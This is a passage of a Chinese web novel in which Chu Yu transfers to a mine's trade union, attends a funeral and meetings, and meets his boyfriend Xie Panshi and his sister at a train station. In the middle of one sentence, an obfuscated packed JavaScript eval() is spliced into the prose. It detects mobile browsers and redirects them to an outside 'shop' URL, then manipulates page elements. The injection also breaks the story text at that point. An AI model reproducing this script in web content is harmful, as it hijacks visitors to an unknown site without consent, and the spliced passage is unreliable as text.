“当然,有楚虞这个计算天才在这,我想走也舍不得走啊。”梁正新说的确实是实话。 谁知下一秒,吴矿长大手一挥,“那就让楚虞同志跟着你,踏踏实实干技术员工作,去什么工会?” 楚虞:“!” 梁正新嘴角抽抽,心想吴矿长真能给他找麻烦,有眼不识泰山,不知道楚虞来头不一般吗? 他倒是想强迫留下楚虞,他敢吗? “多谢吴矿长,我和楚虞同志商量好了,他去工会干采购员,平时不忙的时候就来我这边帮忙,绝对不会耽误矿上的工作,您放心!” 好说歹说,总算让吴矿长松了口,同意把楚虞调去工会,当场写了一张岗位调动情况说明,签字盖章,让楚虞拿去人事科,方便办理一应手续。 出了矿长办公室,楚虞看向梁正新,纠结半晌。 “小梁同志,你是为了让我能调去工会,才答应矿长在这边多留两年吗?” “不全是,”梁正新拍他肩膀,“主要还是因为你,事实上我有许多理论上的研究项目,需要大量的复杂的推算才可能有一点点进展。” 也就是说,梁正新确确实实很需要楚虞帮忙。 既然楚虞要留在淮山二矿,那他也就顺势在矿上多呆两年,这期间拉着楚虞多做推理计算,两年后再回去大学深造,未尝不是一件好事。 听他这么说,楚虞深觉肩上的担子重了起来,“没问题的,只要你需要我,随时过来喊我,或者你来工会这边串门,我当场就能给你算!” 梁正新要的就是他这句话,“行了,你自个去办手续,去工会报到,我就不陪你了,忙着呢。” 楚虞感动地点点头,目送他上楼,然后低头看了看矿长亲自开具的岗位调任说明,上面写得很清楚—— 他是临时工,人事关系仍然留在技术部,走借调手续到工会,借调时间仅有一年。 008啧啧,“这矿长办事不大靠谱,答应了调你去工会,写了这份情况说明,又写的借调!” 楚虞不在乎细节,“管他呢,只要我能去工会,到时候办几件别人办不到的事,我就能在里面站稳脚跟!” 008鼓励他,“没错,冲啊!omega是最棒的采购员!” 楚虞:“……” 有了矿长开具的情况说明,楚虞去一楼人事科办手续,办事员是个上了年纪的妇女,看他的眼神挺好奇。 “你就是跟着梁技术员的那个临时工?” “是。”楚虞点点头。 妇女笑,“头一回见不愿意跟着梁技术员的,想去工会,工会一屋子泡茶看报的老头儿,成天到晚就知道跟着厂委开大会,开会有个屁用……” 大办公室坐了五六个办事员,闻言纷纷开了腔,“都是一帮吃白饭的老头,混日子不干活,矿长怎么不管呢?” “嘘,小声点,工会下发的福利不想要了?” “嘁,他敢扣我的东西?”泼辣小媳妇嗑瓜子,“当我不知道工会屁股底下的烂糟事呢,就去年过年那阵,那半瞎子老头不要脸,回了乡下,半夜偷摸去爬人家寡妇的墙院,我呸!” 楚虞震惊瞪圆了眼睛。 小媳妇越说越激动,“他活该,真以为寡妇好欺负呢,叫人家亲兄弟发现被打断腿了吧,这事儿在乡下都传开了,我跟你们说……” 楚虞被迫听了一耳朵的八卦, 他初来乍到不了解工会的情况,没敢多嘴插话,默默等着办完手续,拿到资料转身就逃之夭夭。 008还在那边偷听呢,“嗷呦,腿断了不说,半瞎子还给寡妇赔了十块钱。” 楚虞翻白眼,“你听你的八卦,别给我时时转播啊。” 008嘿嘿一声,摆明了听得很上头。 楚虞不理它,找到二楼挂着工会牌子的大办公室,门口敞开着,眼睛扫过去,十几张办公桌,确实一屋子的老头儿。 桌上还放着收音机,咿咿呀呀的唱戏声从里面传了出来,“苏三离了洪洞县,将身来在大街前……” 听着唱戏声,楚虞狠狠沉默了一下,抬手咚咚敲门,“大家好,我是从技术部调过来的楚虞,前来报到!” “什么玩意儿?”众老头纷纷抬起脑袋,打量站在门口的楚虞。 穿着中山装的老头率先站起身,关掉了收音机,来到楚虞面前,乐呵呵道:“这位同志你好,我是工会的高书记!” 楚虞把调岗手续单一股脑交过去,几个老头儿凑一块嘀嘀咕咕,“新来的?还是临时工呢,什么来头?” 高书记摇头,“不知道,矿长没提前打招呼啊。” 这手续已经办全了,工会不接收似乎也不成,一般能调来机关部门的,还是新人,大家默认都是关系户。 几分钟过去,高书记带头,和楚虞热情握手,“楚虞同志,欢迎你加入工会,大家热烈鼓掌。” 话音落下,十几个老头哗哗鼓掌,掌声如潮。 楚虞自我介绍,“大家好,我叫楚虞,从上海来的高中毕业生,很高兴能够加入工会大家庭!以后有出差公干之类的活儿,尽管交给我!” 高书记眼睛顿时亮起,“好好好,欢迎楚虞同志!” 这一次鼓掌声更热烈了。 楚虞来得突然,工会没有多余的办公桌,只能去后勤仓库走一趟,靠自己楼上楼下跑两圈,辛辛苦苦搬来一套旧桌椅。 高书记本想帮忙,喊两个老头搭把手,楚虞面无表情拒绝。 让一屋子的老头帮忙搬重物,楚虞都怕老头们闪了腰,回头还得找他报销医药费呢。 搬来办公桌,挪到门口贴墙的空置地块,打扫,擦洗,楚虞坐到工位上,长长地吐了一口气。 “高书记,有什么需要我做的工作吗?”楚虞迫不及待想要干活了。 “暂时没什么事儿,这样,一会你跟着我去矿上家属楼走一趟。” 楚虞纳闷,“去家属楼做什么?” 高书记唔了一声,含含糊糊道:“跟我走就是了。” 楚虞:?? 楚虞带着一脑门的问号,在办公室其他老头微妙的目光下,跟着高书记离开机关办公区,前往家属楼。 熙熙攘攘的人群,门上挂了白事带子,哭天抹泪的叫喊声,老太太哭得晕厥过去,女人手忙脚乱搀扶,小孩儿在棺材面前跪了一地。 楚虞:啊这! 楚虞瞳孔震惊,给他干哪儿去了。 008也懵了,“这、这是工会代表矿上慰问家属吗?” 见楚虞傻傻呆愣,高书记悄悄拽他,“愣着干什么,跟我跪啊!” 楚虞全程懵逼,跪到不知名棺材面前,跟着高书记拜了三拜。 高书记跪下再起来,眼睛立马红了一圈,颤颤抖抖握紧老太太的手,“铁柱他娘,节哀,谁也没想到会发生这种事,喝酒害人啊!” 老太太又是哀嚎一声。 懵逼的楚虞听了半晌,总算听明白了。 原来老太太的儿子,也就是王铁柱,是淮山二矿井下作业大队的正式工,这铁柱三十多岁,下了班喜欢出去瞎混,喝酒打牌上桌赌博,然后醉醺醺半夜回家,这都是矿上人人皆知的事了。 前几天铁柱出了门,一夜没回家,家里也习惯了,结果天刚蒙蒙亮,就有街坊邻居发现摔到臭水沟里的铁柱,满身酒气口鼻污浊,早已没了呼吸。 这一下出了人命,引起矿上轩然大波! 公安局也派了人调查,最后得出结论,不涉及他杀,就是人倒霉,喝醉了酒摔沟里,刚好被呕吐物呛到了,死于窒息…… 好歹是矿上的职工,高书记不得不代表工会前来慰问走一遭,顺便把楚虞也一块捎上了,凑个人头,让他尽快熟悉一下慰问流程。 楚虞满脸恍恍惚惚,开始怀疑人生,这也在采购员的业务范畴里吗? 好不容易离开家属院,高书记一秒收起哽咽哭腔,心累地擦擦汗,“这王家接下来有的闹了,铁柱他娘就这一个儿子,铁柱死了,矿上的工作谁来接?王家老的老,小的小,没有合适的……” 楚虞还记得刚才见过的哭得眼圈通红的女人,语气纳闷,“他媳妇儿好像没工作,她不能接吗?” 高书记笑笑,“我倒是想这么干,你猜铁柱他娘愿意不?” 当天下午,楚虞就知道了答案。 铁柱他娘不愿意让儿媳妇接任工作,婆媳两在家属楼为了这事打成一团,闹得不可开交,最后老太太狠狠心,当场在家属楼公开叫卖,把铁柱的工作卖了三百块! 高书记摇头直叹气,“老太太想不开啊,铁柱人都死了,留下一屋的孩子,就这还防着铁柱媳妇呢,真不怕人家丢下孩子不管不顾跑了改嫁?” 楚虞也同情铁柱媳妇的遭遇,但这会他已经顾不上别人了,捂紧耳朵摆出了熟悉的痛苦面具脸。 大概是最近工会确实很清闲,没什么活干,办公室里几个老头儿都爱听戏,于是桌上的收音机一直开着。 楚虞临时接手了整理工会采买登记册的活计,一边干活,一边被迫听了一下午的天仙配! “树上的鸟儿成双对,绿水青山带笑颜。” 008掐着嗓子尖儿,从容接唱,“从今不再受那奴役苦,夫妻双双把家还~” 楚虞:“。” 你跟着唱什么戏?闭嘴! 眼瞅着楚虞要出门发火,008及时抛出了某只狗,“那啥,谢磐石刚刚让我转告你一声,他带妹妹坐上了回兴安县的火车,估摸着明天下午就能到站了。” 听到这消息,楚虞心情更不妙了,脸色发愁眉头紧皱,明晚就要回来兴安县了吗? 他还没做好和谢磐石住一墙之隔的准备呢。 30.第 30 章 楚虞上手整理了工会的采买登记册,发现东西品类五花八门,也没个分类标准,一整个登记册乱糟糟的。 比如随手翻开一页,机器设备零件和毛巾、解放鞋并列一块,采买数量各写各的,具体各自花了多少钱却含糊不清,钱数统统汇总加到了一块儿…… 按理说这东西各买各的,应该有分开的结账付款票据,楚虞去翻票据,皱巴巴的小纸条字迹模糊不清,盖的红印都是糊的。 活脱脱一笔烂账,查都没法查,要说里面没猫腻,狗都不信。 008严重唾弃:“啊呸!这绝对是贪污!有人浑水摸鱼占公家便宜呢!” 楚虞不动声色,默默看完大部分账册,再抬起头打量办公室喝茶看报的十几个老头,眼神变得有点微妙了。 他不信没人翻看过这些登记册票据本,但既然都知道,大家心知肚明的事儿,看来是默认这里面能捞油水了。 从前怎么样楚虞不关心,也不想浪费精力接手查工会这笔烂账,但从今往后只要经过楚虞的手,一应账册都必须清清楚楚,一毛钱一分钱都不许贪! “书记,以后采买登记台账整理的活儿就归我干了,是吧?”楚虞确认道。 “是,就交给你了。”高书记眨了眨眼,见楚虞傻乎乎愿意接手,巴不得把这笔烂账快快扔出去呢。 淮山二矿成立之初,条件艰苦人员混杂,今天上头派了人来指导工作,拍脑袋想一出是一出,买这个买那个。 明天又有井下大队的队长要设备要这要那,那段时间太乱太忙碌,难免有人偷偷捞油水,就导致工会的台账登记从一开始就烂透了根。 后来高书记调过来了,作为工会一把手,有心刹住这股歪风,大部分收了手不敢再捞,但还有几个背景强硬的,仗着关系我行我素,都有冠冕堂堂的借口和理由。 要么是工厂不配合开不出来票据,要么就是路上遇到扒手,票据丢了能咋办? 更重要的是,时至今日,有这个胆子还敢继续捞油水的,那都不是省油的灯,上头都有人。 高书记实在没招了,只能睁一只眼闭一只眼,如今突然来了个不知道什么背景的楚虞,虽然是临时工,但他瞧着楚虞不简单,腕子上那块表可不是一般人能戴的…… 只怕接下来矿上有的是热闹瞧了。 高书记乐得不行,拍拍楚虞肩膀,语重心长,“小楚啊,你是年轻人,就应该多历练,多操劳,以后工会上的事就靠你了啊!” 快打起来,早就看不惯了,最好顺带把工会那几个不要脸贪便宜的老油条统统收拾一遍! 楚虞浑然不知老书记对他寄予厚望,他初来乍到,情况还没摸清楚,才不会傻乎乎立马出头呢。 第二天,工会要跟厂委开大会,楚虞拿着纸笔就去了,坐会议室角落,听着众人七嘴八舌扯头花。 “……我代表厂委表个态,咱矿上澡堂不能这么开了,月月免费发洗澡票,那水费,锅炉费,哪个不是钱?” “我反对!”高书记跳起来骂,“工人从井下出来,浑身上下黑成碳了,就指望去澡堂冲一冲洗干净,你这还要收费?这是咱矿上职工基本的福利待遇!” “我没说要收费,是澡票的发放额度要收紧!” “凭什么?井下的工人又脏又苦又累的,就该多发洗澡票。” “……高书记!”对面愤怒而起。 你一言我一语,吵得不可开交,情绪上来了,甚至站起来拍桌对骂。 楚虞瞅着工会十几个老头跟哑巴了一样,只有高书记在那据理力争,给井下职工争福利,和厂委的干事们斗的如火如荼。 现在知道了,人事科的同志们没瞎说,工会除了一个高书记,其他都是混日子不干活的。 上午散会结束,就一个要不要调整发放洗澡票的破事儿,还没吵出结果。 下午继续开大会。 澡票的事还没拍板出结论,又冒出劳保手套的事,上头给淮山二矿派了八十双手套,给隔壁一矿发了一百双,凭啥? 楚虞:??? 这也要争?不是兄弟单位吗,大家都是一个系统的,你好我也好啊。 不行,也要吵!还要拉来隔壁一矿的厂委办一块吵,抗议不公平。 楚虞坐在会议室,房间里人挤人,话赶话,他只觉得脑瓜子嗡嗡嗡地响,仿佛眼前有一千只鸭子混乱无序嘎嘎叫,叫也叫不出结果。 好不容易捱到下班,楚虞长舒一口气,迅速出逃,上去飞船,直奔郊区火车站。 不管了,工作暂搁一边,他该去火车站接男朋友了。 008叹为观止,“天呐,就二十双劳保手套分配不匀的破事儿,竟然能吵一下午。” 楚虞叹气,谁说不是呢? 上头分派下来的物资有限,一矿多拿了,二矿就少了,这是长期的立场问题! 不争不行,必须争! 等他再观察两天,多开会,摸清楚矿上的基本情况,再决定要不要主动提出采买物资,首当其冲就是出差买劳保手套! 不就是二十双手套吗,他东拼西凑买八百双行不行啊! 楚虞心累地擦擦汗,在飞船上吹了好一会凉风,直到008播报火车即将到站,这才慢吞吞下了飞船。 008提醒他,“火车站距离花园洋房远呢,坐公交人挤人,怕是不方便,先去路边问问哪个驴车愿意搭乘一趟?” 毕竟谢磐石还带了陈朵朵,陈朵朵半身瘫痪出行不便,坐驴车回家更方便一些。 楚虞也考虑到了这个情况,连忙去问路边停靠下来的一辆平板驴车,“老人家,您走公安局新延路吗?” 驴车上的老汉抽着烟袋,闻言撩了撩眼皮,伸出一只手。 楚虞眨眨眼,“走一趟五毛钱?” 老汉眼皮一跳,立马坐直了身,“也行,五毛钱!” 楚虞:“………”他是不是猜错了价钱啊? 008痛心疾首,“人家伸手那意思是五分钱!五分钱!你个蠢猪不当家不知柴米油盐贵,张嘴就是五毛钱!下一个,下一个,不许坐这辆驴车了!” 楚虞却没动,看那老汉牵着毛驴的绳子,从平板车上跳下来。 只见老汉个头不及楚虞高,微微驼背,穿着破旧的咔叽布褂子,裤腿上打满了大大小小的补丁,脚上穿一双草鞋,露出来的脚趾头指甲盖都是青黑色。 看起来像是乡下人,日子过的穷苦。 楚虞有点不忍心,算了算了,就坐这辆平板驴车,五毛钱就五毛钱吧,反正他混黑市不缺钱,就当做善事。 “老人家,你在这等等我啊,我去站上接人。”楚虞撂下这句话就赶忙进了火车站。 “嘀嘀!”列车到站的鸣笛音几乎响彻云霄。 声音刺耳,楚虞捂了捂耳朵,在008的指引下,穿过挤来挤去的人群,直奔某一节卧铺车厢。 车厢门口,谢磐石正搬运大包小包扔地上,穿着军绿色制服的乘务员在后头帮忙推轮椅,轮椅上坐着一脸紧张不安的陈朵朵。 因为车厢地面和站台地面有高低差,轮椅不方便直接推下去,乘务员是个中年妇女,膀大腰圆有力气,热情帮忙去抱陈朵朵下火车。 陈朵朵很抗拒,不安地立马去拽她哥的衣摆,“哥,哥!” 谢磐石扭头,“知道了知道了,不让别人抱你。乘务员同志,我来我来,我妹妹怕生!” 说罢,他一只手动作粗鲁地捞起陈朵朵,毫不犹豫跳下车厢。 转头就听见楚虞的呐喊声,“谢磐石!” 谢磐石闻声看向不远处,眼里顿时露出笑意,“你专门来接我?” 楚虞气喘吁吁跑到跟前,顾不上和他说话,看见乘务员把轮椅推下来,伸手帮忙,“多谢多谢,我来!” 陈朵朵头一回见到楚虞,目光惊艳,怔怔地看着他,“你,你是我哥的朋友吗?” 楚虞点点头,男朋友应该也算是朋友吧? 他把轮椅推到谢磐石面前,下一秒陈朵朵就被重新扔回到轮椅上,谢磐石腾出了手,当即怜爱地摸了摸楚虞的后脑勺。 楚虞:“………” 众目睽睽人来人往,你怎么敢伸手的? 楚虞推着轮椅向前两步,不留痕迹避开了谢磐石的触碰,“这地上的包裹都是你的吗?” 谢磐石点点头。 楚虞便道:“东西这么多,怕是一次搬不完,我找了一辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701614|203828||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 驴车,就在出站口路边等着呢。我在这照看行李,你负责把行李一趟一趟搬过去。” “那行,”谢磐石不忘叮嘱陈朵朵,“安分点,在这等着,知道吗?” 陈朵朵翻个白眼。 等谢磐石扛着行李出了站,她立马和楚虞打听,“你叫什么名字呀?和我哥怎么认识的?我看他好像和你挺熟。” 楚虞笑笑,“我叫楚虞,租了你哥空置的那间花园洋房,以后我们就是住同一层楼的邻居了。” 陈朵朵恍然大悟,原来她哥把二楼的一间房租出去,租户就是楚虞啊。 她抬起眸,半是害羞半是大胆的打量楚虞,见他高高瘦瘦肩背挺拔,皮肤那么白,五官郁丽,最吸引人的,是一双葡萄似的黑白分明的眼睛。 真好看。 这绝对是她见过的长得最好看的同龄人了。 她眼神飘忽,自我介绍,“我叫陈朵朵,和我哥同母异父,所以名字姓氏不一样。” 这些楚虞都知道,毕竟相亲约会的第一晚,谢磐石就把家庭情况统统告诉他了。 陈朵朵问他,“你现在是工作了吗?” “是,”楚虞没多想,老老实实回答,“我是高中毕业生,从上海来兴安县支援矿山建设,现在是淮山二矿的临时工。” 临时工啊,陈朵朵心想这倒没什么,年轻人迟早能转正,转正了以后矿上的工资也不差,能挣钱养家。 以后她的腿好了,能站起来了,也能出门工作,夫妻双职工肯定能把日子过好。 就是定居在兴安县的话,离京都有点远,离她爸妈也远了一些,好处是她哥也在兴安县,算不上举目无亲。 陈朵朵思维发散,几乎憋不住要问楚虞家里还有谁了,他看起来年纪不大,应该没有结婚对象吧? 下一秒谢磐石突然出现,“说什么呢?” 陈朵朵忙紧张道:“没说什么,搬你的东西就是了!磨磨唧唧的,怎么还没搬完呢?” 谢磐石目光幽幽的瞟她一眼。 来回搬了两趟,行李包裹终于全部搬到驴车上,楚虞推着轮椅也跟了过去。 赶驴车的老汉坐前面,平板中间堆满了行李包裹,崭新锃亮的轮椅也堆到了上头,留下后面一排坐人的位置。 楚虞坐左边,谢磐石本想挨着他一块坐,考虑到驴车颠簸陈朵朵可能坐不稳,只能把多余的妹妹塞到中间,他冷脸坐右边。 坐在中间的陈朵朵幸福地要晕过去,红着脸,继续和楚虞搭话,“楚虞同志,刚听你说你是从上海过来的,你家人都在上海吗?” “没有,家里就剩我一个人了。”楚虞实话实说。 陈朵朵顿觉自己问错了话,不过家里就剩他一个?说明他没定亲也没结婚对象啊! “对了,还不知道你多大呢,”她转移话题,“我今年十六岁。” 楚虞笑了,“我比你大三岁。” 陈朵朵高兴,脱口而出道:“大三岁好啊,都说女大三抱金砖,男大三也抱金砖!” 话音落下,死一般的寂静。 楚虞呆呆地搓了搓两只耳朵,简直没法相信自己听到了什么,这不是他理解的那意思吧? 008笑得要命,“原来妹妹也看上你了!难怪见了你一直问这问那呢,不是一家人不进一家门,兄妹两果然审美一致!” 快闭嘴吧你! 楚虞绝望合上眼,压根不敢和右边的谢磐石对视。 008的话,当然也被谢磐石听到了,谢磐石眸光阴沉沉的,有种说不出的糟心感,垂眸盯住了陈朵朵。 陈朵朵懊恼地捂住嘴,脸蛋儿整个红透,目光躲躲闪闪的,“哥,你别误会,我还小呢,不可能谈对象!就是一时说秃噜嘴了,说错话了,真说错话了!” 谢磐石冷哼一声,抬眸看楚虞,见他闭着眼不敢和他对视,只能收回视线,低了声音严肃警告陈朵朵—— “你最好是真说错话!高中还没毕业,不许给我想乱七八糟有的没的!” 看在血脉相连骨肉亲情的份上,这次他不跟她计较。 谢磐石捏了捏眉,试图冷静,发现冷静不下来,气得头疼。 小丫头片子,简直欠一顿打!